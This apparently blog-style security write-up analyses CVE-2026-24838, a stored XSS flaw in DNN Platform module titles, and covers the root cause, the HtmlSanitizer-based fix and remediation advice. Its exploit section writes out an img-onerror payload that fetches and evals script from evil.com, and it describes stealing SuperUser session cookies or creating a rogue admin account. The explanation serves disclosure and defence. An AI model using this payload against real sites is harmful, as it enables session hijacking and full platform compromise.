CVE-2026-24838

The Title That Stole Your Session: Deep Dive into CVE-2026-24838

Alon Barad
Alon Barad
Software Engineer

Jan 29, 2026·6 min read·7 visits

Executive Summary (TL;DR)

DNN Platform failed to sanitize HTML in Module Titles, allowing admins to plant Stored XSS payloads. This allows lower-privileged admins to hijack SuperUser sessions. Fixed in 9.13.10 and 10.2.0 via a new HtmlSanitizer integration.

A critical Stored Cross-Site Scripting (XSS) vulnerability exists in the DNN (DotNetNuke) Platform's module title rendering logic. By injecting malicious scripts into the 'Module Title' field, authenticated attackers with module-editing privileges can execute arbitrary JavaScript in the context of any user visiting the affected page, including SuperUsers. This vulnerability marks a classic failure of input sanitization in rich text environments.

The Hook: The Trusted User Fallacy

In the world of Content Management Systems (CMS), there is a dangerous assumption that often permeates the codebase: "If they have a username and password, surely they won't try to hack us." This is the Trusted User Fallacy, and it is exactly what CVE-2026-24838 exploits. DNN (formerly DotNetNuke) is built entirely around the concept of "Modules"—drag-and-drop functional blocks that make up a page. Each module has a title.

Historically, DNN has allowed module titles to be expressive. You want your title to be bold? Sure. Italic? Why not. The developers decided to render this property using RichText capabilities. However, allowing HTML in a title field is like handing a toddler a loaded gun because they promised to only shoot at the targets. Without strict, parser-based sanitization, that title field becomes a direct conduit to the Document Object Model (DOM) of every visitor.

The real kicker here isn't just that XSS is possible; it's where it's possible. Module titles are ubiquitous. They appear on the public site, but more importantly, they appear in the administrative overlays and control panels used by the highest-privileged users in the system (SuperUsers). If you can poison a title, you can hunt the admins.

The Flaw: Rendering Without Thinking

The root cause of this vulnerability lies deep within the skinning engine of DNN. When the CMS assembles a page, it iterates through modules and renders them into containers. The code responsible for displaying the ModuleInfo.ModuleTitle property effectively took the string from the database and dumped it into the HTML stream.

In .NET web forms terms, imagine assigning user input directly to a Literal.Text property or using <%= ModuleTitle %> without proper encoding. While the system likely had some basic filters for other inputs, the Module Title was seemingly overlooked or intentionally left open to support formatting. The flaw is a classic CWE-79: Improper Neutralization of Input During Web Page Generation.

The attacker needs "Module Edit" permissions. In a large enterprise deployment, this permission is often granted to marketing teams, junior content editors, or third-party contractors. By setting a module title to include a <script> tag, the attacker effectively modifies the source code of the page for anyone who views it. The server blindly trusts the stored content and serves it up, executing the payload immediately upon page load.

The Code: The Arrival of the Sanitizer

For years, developers tried to sanitize HTML using Regular Expressions. This is a fool's errand. You cannot parse a context-free grammar (like HTML) with regular expressions without eventually creating bypasses. The fix for CVE-2026-24838 is significant because it marks a shift in DNN's architecture: the integration of a real, parser-based sanitizer.

The patch introduces Ganss.Xss.HtmlSanitizer (which relies on AngleSharp) into Dnn.Platform. This is the industry standard for .NET HTML sanitization. Instead of guessing what looks like a script, it parses the HTML into a tree and removes nodes that aren't on an allowlist.

Here is the smoking gun—the code introduced in HtmlUtils.cs to kill the bug:

public static string CleanOutOfJavascript(string htmlInput)
{
    var sanitizer = new HtmlSanitizer();
 
    // Explicitly removing the dangerous bits
    sanitizer.AllowedAttributes.Remove("onclick");
    sanitizer.AllowedAttributes.Remove("onmouseover");
    // ... (other events removed)
 
    // Nuke the protocol handlers
    sanitizer.AllowedSchemes.Remove("javascript");
 
    // And obviously, the script tag itself
    sanitizer.AllowedTags.Remove("script");
 
    return sanitizer.Sanitize(htmlInput);
}

This method is now called before saving or rendering module titles. It doesn't just look for <script>; it looks for javascript: URIs in href attributes and event handlers like onload or onerror which are common XSS vectors.

The Exploit: Scripting the Title

Let's put on our black hats. We are a disgruntled content editor with access to update the "Announcements" module on the homepage. We want to compromise the SuperUser account to dump the entire user database.

Step 1: Preparation We craft a JavaScript payload designed to steal the session cookie or force a password reset. Because the payload needs to fit in a title field, we might use an external loader.

Step 2: Injection We navigate to the Module Settings. In the "Module Title" field, we input: <img src=x onerror="fetch('https://evil.com/hook.js').then(r=>r.text()).then(eval)">

Step 3: The Trap We save the module. The database now stores this string. The module title renders on the page, but the image fails to load (src=x), triggering the onerror event. The fetch command pulls our heavy payload from our C2 server and eval executes it.

Step 4: Execution When the SuperUser logs in to check the homepage, the script executes in their browser context. The script silently creates a new SuperUser account for us using DNN's API, or exfiltrates the ASP.NET_SessionId and .DOTNETNUKE auth cookies to our collector.

The Impact: Lateral Movement and Escalation

Why is this a CVSS 9.1? It requires high privileges, doesn't it? Yes, but in the context of a CMS, "High Privilege" is a spectrum. The vulnerability allows lateral movement from a "Content Admin" (who can only edit text) to a "Host/SuperUser" (who owns the server).

Once a SuperUser session is hijacked via this Stored XSS, the attacker has effectively bypassed all role-based access controls (RBAC). In DNN, a SuperUser can execute SQL queries directly via the "SQL Console" feature, upload arbitrary files via the "File Manager" (potentially leading to Remote Code Execution/RCE), and modify site settings to disable security features.

This is not just a defacement vulnerability; it is a full platform compromise vector. The persistence of the XSS (Stored) means the attack happens asynchronously; the attacker doesn't need to be online when the victim triggers the trap.

The Fix: Sanitation and Segregation

The remediation is straightforward but mandatory: Upgrade to DNN Platform 9.13.10 or 10.2.0. These versions force the new CleanOutOfJavascript method on module titles.

Post-patch, the developers also introduced granular settings: AllowJsInModuleHeaders and AllowJsInModuleFooters. This acknowledges that sometimes, you do want scripts, but it forces administrators to opt-in explicitly rather than allowing it by default in fields that shouldn't have it.

Defense in Depth: Administrators should also implement a strict Content Security Policy (CSP). A CSP header that disallows unsafe-inline and restricts script-src to trusted domains would have rendered this exploit inert, even before the code was patched. It is the seatbelt that saves you when the brakes (input validation) fail.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.1/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.04%
Top 87% most exploited

Affected Systems

DNN Platform

Affected Versions Detail

Product
Affected Versions
Fixed Version
DNN Platform
DNN Software
< 9.13.109.13.10
DNN Platform
DNN Software
>= 10.0.0 < 10.2.010.2.0
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS Score9.1 (Critical)
EPSS Score0.00044
PrivilegesHigh (Module Edit)
Exploit StatusPoC Available
CWE-79
Stored Cross-Site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Vulnerability Timeline

Fix commit authored
2025-10-06
CVE Published
2026-01-27
NVD Record Published
2026-01-28

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.